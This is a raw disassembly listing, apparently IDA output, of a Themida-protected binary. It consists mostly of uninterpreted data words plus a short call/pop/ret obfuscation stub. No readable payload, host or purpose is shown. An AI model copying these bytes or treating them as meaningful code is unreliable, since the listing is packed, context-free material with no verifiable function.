		dd 33086C3Dh, 84110C41h, 0D5002936h, 3BD1DE81h,	0E45E32C8h
		dd 51006A71h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0ADC68931h, 1485E9BBh, 0C78166F6h, 0B60F8E2Dh
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 29FB3EBBh, 6E913h, 0C8CD0000h, 55B9FCD4h
		dd 258D0960h, 0E8060E0Ch, 8, 86183391h,	0E75F6FE6h, 9E9h
		dd 0F1C1000h, 59816F88h, 615EE5BBh, 6BAh, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 724ED64Eh, 894044E4h, 0E02C9B5h, 6AC38B06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0C838C352h, 76B55ED9h, 9A9DBE66h, 9EBBCF81h,	0E8C13C49h
		dd 5E904h, 59420000h, 66487DC6h, 0B529E2F7h, 60E0A11h
		dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 66663DC3h, 5DB58B19h, 50060E2Ah, 89F28B66h
		dd 6A241Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B70F4CC3h, 0B5FFF8F6h, 60E2E49h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 84C35646h, 0F397C1ADh
		dd 63FDF98Dh, 0EEF8166h, 45BD038Fh, 0FF060E1Bh,	0E0F4595h
		dd 51BD8B06h, 0B0060E13h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8114573Bh
		dd 0A8E512CEh, 6070E674h, 0E9CEC980h, 7, 5FDE0512h, 61F0D45Ch
		dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 2AD151C3h, 0C31BC1C9h, 613C4622h,	21F830Fh
		dd 0B58B0000h, 60E2F79h, 6AD8B60Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B4CCC355h
		dd 2AF3FE7Dh, 0C0B9A123h, 6BAh,	58D3100h, 8B060E23h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0E4E7D30Ch, 76FDCA9Bh, 31577318h, 0E2D5DBDh,	0E8C15E06h
		dd 318D2904h, 66060E31h, 0F9BFE2F7h, 2B65CB89h,	0EE9D8h
		dd 0AA930000h, 0E1995C92h, 7EDF2B8h, 0A45EE647h, 4EB991BFh
		dd 0BF665807h, 0D82B0F0Dh, 17F880Fh, 0CE810000h, 6E94F4AFh
		dd 34B1B58Bh, 7B9060Eh,	66000000h, 6FB7C781h, 0E900C183h
		dd 7, 0F62DF557h, 3B61939Eh, 52860FD9h,	6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 9AE6C352h, 8166090Dh, 0E993D4CEh, 0Eh, 9D0B55F8h, 8CAD1167h
		dd 0BC494ECFh, 8C6684F5h, 53006AD9h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 5DA0D377h
		dd 0F6F18B66h, 840F04C1h, 0CEh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 20C35646h, 2782C1BEh, 35119D31h
		dd 95FF060Eh, 60E1689h,	0FE9h, 0ADDE6300h, 39E9B783h, 362AFC8Fh
		dd 65BA1DC7h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 40991D34h, 0BD29604Dh, 60E23C1h
		dd 34299D89h, 0C32B060Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 7AC35242h, 8343D82h, 860F0000h, 36h
		dd 2D8589FCh, 0E9060E2Ah, 49h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BEC35747h, 8C0FF960h
		dd 6, 313D9D89h, 0C08B060Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0E6C35040h,	8BC38B2Ch, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0C76964A7h, 0E006585h, 0FE277506h, 53006A52h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0C08BF5C9h, 0EE9h, 2594A800h, 0A53B98FCh, 1053A66Bh
		dd 819A70F5h, 0E2E49BDh, 7D006h, 4B850F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FF8CC350h, 0E2E4985h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 8E9F2h, 35BF0000h
		dd 0C6C11A4Bh, 0B5FF2015h, 60E2E49h, 0FFF38B66h, 0E0F4595h
		dd 0A9958906h, 90060E21h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 2C35646h, 0EFAE10C6h,	197B8484h, 71B589h
		dd 6AFC060Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 3B06C353h, 0FE770A5Bh,	6ADA45h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0FFCACDC3h, 89BDBDEAh, 0E1DCD85h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 60C1670Dh
		dd 0B134B966h, 2081B531h, 0BD03060Eh, 60E0715h,	61F6B70Fh
		dd 0B820Fh, 81660000h, 896F16E6h, 0E2409BDh, 0CE906h, 66380000h
		dd 0A92C140Bh, 0EABE5BBFh, 6AFDF6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 51AE5AC3h
		dd 70C773BFh, 0C99D095Ch, 66060E30h, 429EEF81h,	0B8E0FF8h
		dd 0BE000000h, 71632BE8h, 3C58D89h, 52E9060Eh, 0FFFFFF7h
		dd 0C88h, 0DDBD8B00h, 2B060E03h, 0E0D71BDh, 18D0906h, 8B060E17h
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 9529532Ah, 60E3461h, 4EBh, 38BE0000h, 6A6A851Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 78EBC356h, 9528775h, 0E31818Dh, 0BD895F06h
		dd 60E01D5h, 19C1858Dh,	6A060Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0ACC090C3h, 0E2E6E384h
		dd 66585681h, 66846EBFh, 0F3E1D681h, 0F525090h,	53525031h
		dd 0BE310F5Eh, 6693631Eh, 585A585Ah, 8483BE50h,	8B905E22h
		dd 0E1755B5h, 6A006A06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 7EC4C351h, 30C781A6h
		dd 6A77276Ch, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0B58B35FAh, 60E100Dh, 0DE0F858Dh
		dd 6A0611h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 479CC7C3h, 5F1FFFA5h, 5C08317h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D0C35545h, 6B3BF6B0h
		dd 0E15668ECh, 9B5BD89h, 9E8060Eh, 0E5000000h, 6118E456h
		dd 101DB53Fh, 5758BE66h, 0F7D6815Eh, 9028D054h,	310F5250h
		dd 8B0Fh, 585A0000h, 9E850h, 75650000h,	7FD26EE2h, 5EDBDF15h
		dd 6A006A90h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 66EBC350h, 40ADE781h, 0B58B006Ah
		dd 60E2DE5h, 2FE195FFh,	8166060Eh, 8D3ECDE7h, 11924B9Dh
		dd 0F0EF8106h, 0FF1FD4ECh, 50006AD3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D694039Bh
		dd 35FB5A44h, 2960393Fh, 0E2E89B5h, 6D8D8906h, 61060E2Eh
		dd 147585FFh, 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 89B47FC3h, 0E1B359Dh, 0E9B58B06h
		dd 0E9060E03h, 857h, 0E8h, 0ED815D00h, 611DE19h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BAC35646h, 66FE8B66h
		dd 4E68DF81h, 2E49BD81h, 7D0060Eh, 860F0000h, 199h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 61C35747h, 0F8DE134h
		dd 3B7FF8D3h, 99BD8B62h, 8B060E04h, 0E2D059Dh, 0F320BE06h
		dd 38BF66F2h, 81195C2Eh, 100E3h, 0D1BD8900h, 0B060E2Fh
		dd 0DE850FDBh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 77B8C355h, 10E91Ch
		dd 26040000h, 61DAE570h, 0CD5E6169h, 16C959CFh,	0BD836AE9h
		dd 611DC06h, 4D840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 8CB6C355h
		dd 2FDAF3AEh, 148C0FEAh, 0E8000000h, 0Ch, 127BA7EFh, 2E50D514h
		dd 496010F8h, 0E95FFA8Bh, 6Dh, 68B0Fh, 8D010000h, 60E30A9h
		dd 0DC0685C7h, 10611h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 55F49BC3h, 5750146Fh
		dd 870F7353h, 12h, 0DE9h, 9EFB5500h, 65E2A2DEh,	90BD2F83h
		dd 16E9D06Eh, 31000000h, 0E1A8185h, 685C706h, 611DCh, 89000000h
		dd 0E0C9DBDh, 59D8D06h,	6A060E2Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 171DC357h
		dd 0A28C0A0Eh, 66A13DB8h, 5EC0DF81h, 0FEFF2381h, 6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 12F757C3h, 98CC4F18h, 8B66422Bh, 0DB8C66F2h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 97C35242h, 0D02C8DACh
		dd 0CD99D09h, 0C3F6060Eh, 3C840F04h, 0E9000000h, 7, 0CC551BC3h
		dd 0FF42D5BEh, 0E168995h, 0AE906h, 2E500000h, 496010F8h
		dd 0C81FD2CEh, 0F78B6650h, 0E9240489h, 9, 7DB4CCABh, 232AF3FEh
		dd 0E5BD89A1h, 0E9060E00h, 390h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 5FC35343h, 413953C5h, 54C4165Ah
		dd 800FF58Eh, 0Eh, 9E9h, 95153D00h, 8EEA26CEh, 0B0E995h
		dd 28C58501h, 8B66060Eh, 0F70E6F9h, 684h, 29B50900h, 0E4060E1Ah
		dd 618D0971h, 0F060E30h, 0BD89D8B6h, 60E2EB9h, 6BAh, 0FDB58900h
		dd 8B060E07h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0D3AF8279h, 33CC5898h, 0BD8BCA65h
		dd 60E2F29h, 8B04E8C1h,	0E1DD5BDh, 0E2F76606h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 88C35646h, 0FC9F4F61h
		dd 8B22435Ah, 0E1EF5B5h, 0F5BD2906h, 2B060E33h,	5DC781D8h
		dd 9305A443h, 0BE950h, 0F7330000h, 0ABE3F77Eh, 6A9D34BDh
		dd 85019304h, 60E04CDh,	2E49B5FFh, 0BD89060Eh, 60E0E89h
		dd 0F4595FFh, 9E9060Eh,	50000000h, 0F87EBE87h, 0B5BDB240h
		dd 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0B0B704C3h, 0B503A477h, 60E0029h,	71E470E6h
		dd 11E8h, 8997E700h, 7BC8CA3Ch,	788E179Dh, 0F102E9BEh
		dd 8531B409h, 60E0E39h,	0F613C5Fh, 22783h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 6746F08Fh, 0D227C7B0h, 8A0F83BEh, 6,	26DBD8Bh, 0B60F060Eh
		dd 0B99529D8h, 0E8060E2Fh, 11h,	1E462994h, 23345BEDh, 0F02E184Bh
		dd 172511AFh, 0C5BD8BA6h, 5F060E0Dh, 6BAh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 906470BFh, 619D096Fh, 66060E14h, 8BCB75BFh, 10E8C3h
		dd 0CFE40000h, 0DDC06716h, 0C513F8F7h, 0F24CB34Fh, 800FD4F9h
		dd 2, 0C15FF78Bh, 0BF6604E8h, 0F76677F7h, 0E5B58BE2h, 89060E2Fh
		dd 0E0C7DB5h, 8BD82B06h, 6A58F1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 4A072AC3h, 0FD82B93h
		dd 13F88h, 0FE8B6600h, 7B9h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 9CAE3C8h, 0E047DB5h
		dd 0C18306h, 1CA9B58Bh,	0D93B060Eh, 102860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0B0D04EC3h, 0EC6B3BF6h, 0C7815668h, 53233B72h, 10E9h
		dd 7AF93000h, 0E1F626A2h, 6BCB353Fh, 5C3A205Ch,	0F9B58BA1h
		dd 66060E19h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 5501F5C3h, 0F6E8DBEAh, 840F04C1h
		dd 61h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
		dd 8CC35040h, 9D317560h, 60E2E75h, 377DC781h, 95FF2098h
		dd 60E1689h, 21B5B589h,	0E95B060Eh, 5, 603E9EDBh, 81C32BF7h
		dd 0E96476EFh, 0FCEF8106h, 3D59B98Ah, 834h, 7860Fh, 31E90000h
		dd 8B000000h, 6AC08BF2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E9C8C356h,	0Ch, 0BAEAAA3Bh
		dd 0EE9CA00Ch, 0B532D61Ah, 0D88BC38Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 74C35545h, 0C7E845B4h, 0E1C9D85h
		dd 0A1E31706h, 51006A73h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 1D575AF8h, 78C3790Ah
		dd 0AE99Dh, 0B3820000h,	1E2C1391h, 0F4D1F33Bh, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0B09BFAC3h, 3DBCD1EBh, 566DF99Dh, 0EE9h, 70A86500h
		dd 8C3C4B17h, 593F954Ch, 5E96DDD9h, 1840Fh, 81FC0000h
		dd 0E2E49BDh, 7D006h, 51850F00h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FFB8C356h
		dd 7CD8FF88h, 0F3C3F12h, 1B8Ch,	11E800h, 4A350000h, 0A7499BB9h
		dd 9B30ED25h, 0F4883E76h, 66E1B4A0h, 5F4453BEh,	2E4985FFh
		dd 8589060Eh, 60E1D69h,	2E49B5FFh, 9D89060Eh, 60E1CA9h
		dd 0F4595FFh, 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 119474C3h, 41CDF0DCh, 9E8E6h, 0FADA0000h
		dd 7E6DAAF4h, 0E980A3ADh, 11h, 100337A4h, 6FD1BC45h, 30E07850h
		dd 0CE96A634h, 60905EE1h, 8B0F80B7h, 0Ch, 0F91858Bh, 858B060Eh
		dd 60E0E59h, 61958Bh, 161060Eh,	0E198585h, 0F08B6606h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E7C35242h
		dd 0BD8B0C23h, 60E1A39h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 4C35343h, 6EC867CEh, 38179B8h, 0F1BF0F7Ah
		dd 21CDB589h, 0B70F060Eh, 2DBD8BF2h, 66060E24h,	8BF9AEBEh
		dd 0E0EF9BDh, 0B1B52906h, 33060E19h, 0E0F35B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8B0FDCh, 89000000h, 0E154D95h, 0BD8B5306h, 60E0D91h
		dd 56006A5Fh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E7B40E39h, 13A5F3CFh, 0E960F8E0h, 5, 0E312582Eh
		dd 6D9D2394h, 0F060E25h, 88Bh, 8BCE8B00h, 0E1F819Dh, 0B5E96106h
		dd 23FFFFF7h, 0E301DBDh, 659D8906h, 0E9060E02h,	21h, 178A51DAh
		dd 7 dup(0)
		dd 502E900h, 554C0000h,	2F2BC68Ah, 140FAA6Eh, 0F8F28D51h
		dd 0DCD46F33h, 0A0244F13h, 0C0844D45h, 0A1652C25h, 874B0806h
		dd 6C30EFECh, 75945520h, 0CD5D7856h, 0B9B6B664h, 0B03DEFAh
		dd 0E6E37E42h, 33300B27h, 817D5874h, 5652F1C0h,	4D284095h
		dd 98738F52h, 28BEDA9Dh, 98F21566h, 413E85D6h, 2523BE82h
		dd 0D468C83Fh, 0E15C4E27h, 0A384821Dh, 0ECC7E3AAh, 5A112DF2h
		dd 6D4864DFh, 3591AD74h, 7F9A5B2Ah, 0D35B697Dh,	0F8733C34h
		dd 8DD425A3h, 0F3B0AE8Fh, 1C19B478h, 0C044415Dh, 0A85B697Dh
		dd 0F1CCE8AFh, 621834F5h, 476C8FE0h, 0ED0A3889h, 3AAFF57Eh
		dd 0BEDAA39Bh, 7197F2B3h, 0B02B5B69h, 6814E035h, 0A6000000h
		dd 0DEFAB9B6h, 69B0A4E1h, 0AF00BE5Bh, 0F64C7681h, 0AB0AFh
		dd 41E50000h, 1492FC86h, 86F44902h, 0DDF9BAB6h,	29450602h
		dd 0C08F544Eh, 8A097E1Ch, 186DCF38h, 642D2500h,	0B1706D48h
		dd 0FA4BC995h, 6ABB7DD7h, 49422723h, 0FE2A6D2Eh, 2BA65B69h
		dd 62DD94B0h, 3734D39Eh, 0A1E8A978h, 215B69FEh,	0B9B651A6h
		dd 0B6C836FAh, 0FED9F5BEh, 4A254102h, 95708C4Fh, 24BAD69Bh
		dd 0CECA1162h, 0BF3AF10Dh, 0F0378806h, 0D06B2FF8h, 30F1C0D3h
		dd 5B69B0E9h, 0EA2DEE69h, 665B69B0h, 795470EBh,	765D927Eh
		dd 0E801B369h, 108B4E49h, 0FA4B0DF4h, 0F5C93BCCh, 5C1DECAFh
		dd 5B69C73Dh, 0F9C51A95h, 69h, 0CCBEB68Bh, 4B0CDA2Bh, 5B69E9CCh
		dd 0F2650984h, 90AC27A8h, 28F7BAB5h, 0ACC89189h, 0F288A0F5h
		dd 604B44E3h, 8B2AA562h, 0F8AFCB92h, 8DD425A3h,	6D08CC95h
		dd 0B590AC75h, 0F3DAF6BBh, 55B2E031h, 0D1AFF622h, 57h
		dd 0F5BEB663h, 3A2ACED9h, 8BAF46D8h, 0F6F48FE4h, 0E5671D39h
		dd 8C554D94h, 60231EBDh, 78388D44h, 0D5BAB60Ah,	23FE1AD7h
		dd 72ED6825h, 470804A3h, 30CFDAF2h, 0D6D37235h,	8705C217h
		dd 0E35B69B0h, 0C14809D8h, 815B69B0h, 0E233B106h, 0F64C43B4h
		dd 1E3AFh, 86750000h, 0F2BEAE7h, 6D680358h, 0B6B38EAAh
		dd 0F8F1D8D3h, 0E35E1531h, 48DCE7C7h, 3BDD06E8h, 4E2945C0h
		dd 97728E55h, 7BEDA9Bh,	8BA77068h, 0CDF041BFh, 279EEFADh
		dd 0EC709758h, 0FDF85B69h, 0A0671E3Ah, 3A35D025h, 44F4B377h
		dd 47EDAE7Dh, 816177E8h, 925E6E2h, 3908D752h, 9BE71178h
		dd 9236B1A2h, 0D76BB75Fh, 9FB70C4Dh, 4408C7C4h,	0D1EDACA9h
		dd 662F27C6h, 813E934Ah, 0A29B7D04h, 9F9B3A09h,	0B60BC2DEh
		dd 0A3A0E738h, 7E7615E4h, 8DE299B5h, 763532CDh,	9F827F5Ah
		dd 0E7C2DEA7h, 570E2AEBh, 504561DCh, 3D3A81D2h,	20EFBA7Eh
		dd 9B7D385Fh, 0C81D98A2h, 37EB146h, 13675B6h, 0BAA0000h
		dd 8BF94E0Fh, 4C1BA692h, 832DD97Dh, 2E30F939h, 69002A6Dh
		dd 0D62BA65Bh, 52F24A0Bh, 33AE6177h, 803F3C17h,	652421BCh
		dd 0B2716E49h, 0D223A196h, 0AFAB8E8Bh, 0CFBED99Ah, 9712A29Bh
		dd 2825001Ch, 0AF73EE69h, 3CCCA2Dh, 4F5CB6h, 86EE0000h
		dd 603EEE7h, 0B877CC47h, 0A06F3E83h, 69B0B8DFh,	489D185Bh
		dd 0B07DBC7Dh, 9A15DB69h, 0B006817Eh, 26F1DB69h, 0B0739657h
		dd 54CFDB69h, 0A5FAB7B5h, 0D06BD627h, 66122F1h,	0BA5B69B0h
		dd 0A1317B3Fh, 62000000h, 0BBB4AFBEh, 2378C643h, 1BA692B5h
		dd 0C5B3AD4Ch, 0AF7DFB71h, 4D69E424h, 36FFF796h, 430E631Ah
		dd 7714D282h, 0CF620661h, 24E3E097h, 0C4AD5108h, 0E1A4F902h
		dd 726F4A66h, 5754EFB3h, 32048344h, 41BCA29Bh, 0FB9FAAC6h
		dd 8DDFC1D3h, 0B06DC27Dh, 0A29B4D6Eh, 2168B93Bh, 0E2A16524h
		dd 0DB9C6B56h, 98896D28h, 8910D1A0h, 49A888A5h,	17B679CEh
		dd 0C3DF5A1Bh, 102CEBE8h, 100AA9B4h, 23782F4Bh,	4FE954A5h
		dd 5D4A372h, 88A5C544h,	0AD027DA8h, 9A833DF0h, 7342BD92h
		dd 0F713DCD4h, 0BD2BEB40h, 4C1BA692h, 7B96988Bh, 0C1DD5861h
		dd 662AE9E6h, 0F30FCECBh, 0EB73F4F6h, 6EBF8194h, 9C5B58F7h
		dd 0D974C980h, 0BE591DDCh, 0BE602C1h, 0D4304C11h, 817EC516h
		dd 6433FEC2h, 3BEF64A3h, 0C61DCB3h, 99B57471h, 0C0Fh, 929C4000h
		dd 0A9499E20h, 33BB297Eh, 0F4BFB681h, 4100FDD8h, 8F4C4A25h
		dd 0D89F9873h, 20E9E1BCh, 68312904h, 0B277714Ch, 0FDC0BB96h
		dd 490A06E1h, 8950692Dh, 405E0h, 0E8830000h, 24043304h
		dd 33240431h, 685C2404h, 3012h,	68240C89h, 6AC9h, 56241489h
		dd 11E696BEh, 5E595606h, 22D568h, 24248900h, 4240483h
		dd 3481515Ah, 5C60DE24h, 8428F03h, 8B951h, 0D1010000h
		dd 60DE3181h, 0FF59035Ch, 835A2434h, 34FF04C4h,	0C4835924h
		dd 9312E904h, 0E72DFFFCh, 0A14473EEh, 6C027214h, 11EB26B8h
		dd 0FFC50306h, 0BFE724E0h, 7B8BAE08h, 0EA38BB44h, 7F1A9056h
		dd 9F55BC55h, 259F7265h, 4D95DA64h, 458F0875h, 0AAF0A141h
		dd 6AC18B17h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 52B3C356h, 0FE6A644h, 14E842B2h
		dd 0C1000000h, 81D56711h, 0BBE7B047h, 9EBFC67Bh, 0EC6C017Ah
		dd 5E8AE17Bh, 178E0Fh, 12E90000h, 66000000h, 5491966h
		dd 95583743h, 46351013h, 0FBFB6092h, 4EB34h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 7019C355h, 0BE66C23Eh, 0B52BFDB0h, 60E1599h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 52C35040h
		dd 0BAD1411Eh, 892632A1h, 0E247D85h, 0F6B70F06h, 19C1858Dh
		dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 816687C3h, 8BB5EEDFh, 0E29FDB5h, 4895006h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 5696BE6Fh, 23D98501h, 6A060Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BEC35747h, 37DCBEF5h
		dd 64AB9C4Bh, 8BFA8B66h, 0E1CB9B5h, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0ABACC355h, 0B12FE754h, 35858DF8h, 830611EEh, 870F05C0h
		dd 6, 1F05B533h, 8B66060Eh, 820F90FEh, 0
; ---------------------------------------------------------------------------
		push	eax
		mov	di, ax
		nop
		push	0
		push	ebx
		call	sub_588350
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588350	proc near		; CODE XREF: Themida_:00588348p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_588350	endp

; ---------------------------------------------------------------------------
		dd 7E636A12h, 2840Fh, 0F38B0000h, 8C0Fh, 6A0000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EEC35646h, 0BDA29BFCh
		dd 0B257DA5h, 419D0160h, 66060E07h, 61C36DBFh, 0DCBF006Ah
		dd 0FF3D251Ch, 0E2FE195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 4B9D8DBDh
		dd 89061192h, 0E02999Dh, 0FE8B6606h, 6AD3FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 85FF2AC3h
		dd 60E1475h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	47C35242h, 7BBBE7B0h, 7A9EBFC6h, 0BDBD8901h, 8B060E01h
		dd 0E167DBDh, 874E906h,	0E80000h, 5D000000h, 0EE3FED81h
		dd 0B70F0611h, 49BD81F8h, 0D0060E2Eh, 0F000007h, 16B86h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 7A0EC751h, 0BD9D8B11h, 6A060E0Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 7475C352h, 0B1867D4Ch, 5A5EE4FCh, 3035B529h,	0E381060Eh
		dd 100h, 1830Fh, 0BF50000h, 84850FDBh, 0F000000h, 0D8Ch
		dd 42BB6000h, 31080DD2h, 0E21C5BDh, 0BD836106h,	611EC23h
		dd 2E840F00h, 89000000h, 0E21ED8Dh, 9FE906h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 5346D4C3h, 0B60933B0h, 2385C7FCh, 10611ECh, 8B000000h
		dd 0E083DBDh, 67E906h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F9628C3h, 0C7F9F1B7h
		dd 11EC2385h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E82EDE72h, 10h, 0F77A1C2Dh
		dd 39F5CB3Fh, 1F36F203h, 2A94970Ch, 0E781525Fh,	0DB6892Ah
		dd 0BD9D8D5Eh, 29060E0Dh, 0E20718Dh, 0FF238106h, 6AFFFFFEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 30E2C353h, 6558A746h, 0B503CE41h,	60E343Dh
		dd 31DB8C66h, 0E16FD8Dh, 4C3F606h, 7F840Fh, 95FF0000h
		dd 60E1689h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0B9C35141h, 462D05BBh, 800F84DAh, 6, 24F99D89h
		dd 8D31060Eh, 60E18B5h,	0FE8B5090h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 403D9135h
		dd 3D740481h, 10E96085h, 52000000h, 13A7176Ch, 0E12989EAh
		dd 0B8B6C4E8h, 29B11571h, 0E1FB1B5h, 438E906h, 95890000h
		dd 60E0111h, 22A18D89h,	0B0060Eh, 0FA4CBF66h, 71E470E6h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B9C35343h
		dd 6E8h, 0F3CED800h, 6666F3FAh,	0F5FF88Bh, 6AD8B6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0B21CE5C3h, 7CD8681h, 431BD8Bh, 6BA060Eh, 0E9000000h
		dd 14h,	0E801DE6Fh, 50EF7AE4h, 9D19D2F8h, 0D4FBFFDh, 0B9618AECh
